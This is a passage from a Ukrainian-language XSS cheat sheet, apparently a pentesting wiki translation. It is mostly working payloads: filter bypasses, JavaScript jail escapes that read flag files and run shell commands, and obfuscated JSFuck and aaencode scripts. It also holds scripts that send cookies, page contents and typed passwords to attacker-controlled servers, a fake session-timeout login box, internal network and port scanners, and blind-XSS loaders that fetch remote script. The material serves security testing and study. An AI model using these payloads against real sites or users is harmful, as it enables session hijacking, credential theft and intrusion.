Ви можете перевірити, чи відображені значення є юнікодом нормалізовані на сервері (або на клієнтській стороні) і скористатися цією функціональністю для обхіду захисту. Знайдіть приклад тут.

Обхід флагу PHP FILTER_VALIDATE_EMAIL

"><svg/onload=confirm(1)>"@x.y

Обхід Ruby-On-Rails

Через масове призначення RoR у HTML вставляються лапки, після чого обмеження на лапки обходяться, і можна додати додаткові поля (onfocus) всередині тегу. Приклад форми (з цього звіту), якщо ви відправите пейлоад:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Пара "Ключ", "Значення" буде відображена так:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Спеціальні комбінації

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS з внедренням заголовків у відповідь 302

Якщо ви виявите, що ви можете внедрювати заголовки у відповідь 302 Redirect, ви можете спробувати змусити браузер виконати довільний JavaScript. Це не так просто, оскільки сучасні браузери не інтерпретують тіло відповіді HTTP, якщо статус коду відповіді HTTP - 302, тому просто політ з перехопленням міжсайтових сценаріїв є безперспективним.

У цьому звіті і цьому ви можете прочитати, як ви можете перевірити кілька протоколів у заголовку Location та переконатися, чи дозволяє браузер переглядати та виконувати XSS-політ всередині тіла. Відомі протоколи: mailto://, //x:1/, ws://, wss://, порожній заголовок Location, resource://.

Тільки літери, цифри та крапки

Якщо ви можете вказати зворотний виклик, який JavaScript буде виконувати, обмежений лише цими символами. Прочитайте цей розділ цього посту, щоб дізнатися, як скористатися цією поведінкою.

Дійсні типи вмісту <script> для XSS

цього джерела) Якщо ви спробуєте завантажити сценарій з типом вмісту таким, як application/octet-stream, Chrome видасть наступну помилку:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Єдині типи вмісту, які підтримають Chrome для запуску завантаженого сценарію, це ті, що знаходяться всередині константи kSupportedJavascriptTypes з https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Типи скриптів для XSS

тут) Так, які типи можуть бути вказані для завантаження скрипта?

<script type="???"></script>

Відповідь:

  • модуль (за замовчуванням, немає нічого пояснювати)

  • webbundle: Web Bundles - це функція, яка дозволяє упаковувати набір даних (HTML, CSS, JS...) у файл .wbn.

<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Дозволяє покращити синтаксис імпорту

<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

Це поведінка використовувалася в цьому описі, щоб перенаправити бібліотеку на eval для зловживання нею та спровокування XSS.

  • speculationrules: Ця функція в основному призначена для вирішення деяких проблем, спричинених попереднім рендерингом. Вона працює наступним чином:

<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>

Веб-типи вмісту для XSS

тут) Наступні типи вмісту можуть виконувати XSS у всіх браузерах:

  • text/html

  • application/xhtml+xml

  • application/xml

  • text/xml

  • image/svg+xml

  • text/plain (?? не в списку, але я думаю, що я бачив це на CTF)

  • application/rss+xml (вимкнено)

  • application/atom+xml (вимкнено)

У інших браузерах інші Content-Types можуть бути використані для виконання довільного JS, перевірте: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

Тип вмісту xml

Якщо сторінка повертає тип вмісту text/xml, можливо вказати простір імен та виконати довільний JS:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Спеціальні шаблони заміни

Коли використовується щось на зразок "some {{template}} data".replace("{{template}}", <user_input>). Атакуючий може використовувати спеціальні заміни рядків для спроби обійти деякі захисти: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Наприклад, у цьому описі, це було використано для екранування рядка JSON всередині скрипта та виконання довільного коду.

Кеш Chrome для XSS

pageChrome Cache to XSS

Втеча з XS Jails

Якщо у вас є обмежений набір символів для використання, перевірте ці інші дійсні рішення для проблем XSJail:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Якщо все не визначено перед виконанням ненадійного коду (як у цьому описі), можливо створити корисні об'єкти "з нічого", щоб зловживати виконанням довільного ненадійного коду:

  • Використання import()

// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
  • Доступ до require опосередковано

Згідно з цим модулі обгортаються Node.js у межах функції, як показано нижче:

(function (exports, require, module, __filename, __dirname) {
// our actual module code
});

Отже, якщо з цього модуля ми можемо викликати іншу функцію, можна використовувати arguments.callee.caller.arguments[1] з цієї функції, щоб отримати доступ до require:

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

Так само, як у попередньому прикладі, можна використовувати обробники помилок для доступу до обгортки модуля та отримання функції require:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()

Затемнення та Розширене Уникнення

//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}

Загальні вразливості XSS

Кілька вразливостей в 1

pageSteal Info JS

Отримання куків

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Ви не зможете отримати доступ до куки з JavaScript, якщо встановлено прапорець HTTPOnly в куці. Але ось декілька способів обійти цей захист, якщо вам пощастить.

Вкрасти вміст сторінки

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);

Знайдення внутрішніх IP-адрес

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}

function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});

setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>

Сканер портів (отримання)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Сканер портів (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Короткі часи вказують на відповідний порт Довші часи вказують на відсутність відповіді.

Огляньте список заборонених портів у Chrome тут та у Firefox тут.

Поле для запиту облікових даних

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Захоплення автоматичного заповнення паролів

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Коли будь-які дані вводяться в поле пароля, ім'я користувача та пароль надсилаються на сервер зловмисника, навіть якщо клієнт вибрав збережений пароль і нічого не вводить, дані будуть витікати.

Кейлогер

Просто шукаючи на Github, я знайшов кілька різних:

Викрадення токенів CSRF

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Викрадення повідомлень PostMessage

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Зловживання службовцями

pageAbusing Service Workers

Доступ до тіньового DOM

pageShadow DOM

Поліглоти

Сліпі XSS-вразливості

Ви також можете використовувати: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Regex - Доступ до схованого вмісту

З цього опису можна дізнатися, що навіть якщо деякі значення зникають з JS, їх все ще можна знайти в атрибутах JS в різних об'єктах. Наприклад, введення REGEX все ще можна знайти після того, як значення введення регулярного виразу було видалено:

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

Список перебору

XSS Зловживання іншими вразливостями

XSS в Markdown

Можна впровадити код Markdown, який буде відображений? Можливо, ви зможете отримати XSS! Перевірте:

pageXSS in Markdown

XSS на SSRF

Отримали XSS на сайті, який використовує кешування? Спробуйте підвищити це до SSRF через впровадження Edge Side Include з цим навантаженням:

<esi:include src="http://yoursite.com/capture" />

Використовуйте це для обходу обмежень файлів cookie, фільтрів XSS та багато іншого! Додаткова інформація про цю техніку тут: XSLT.

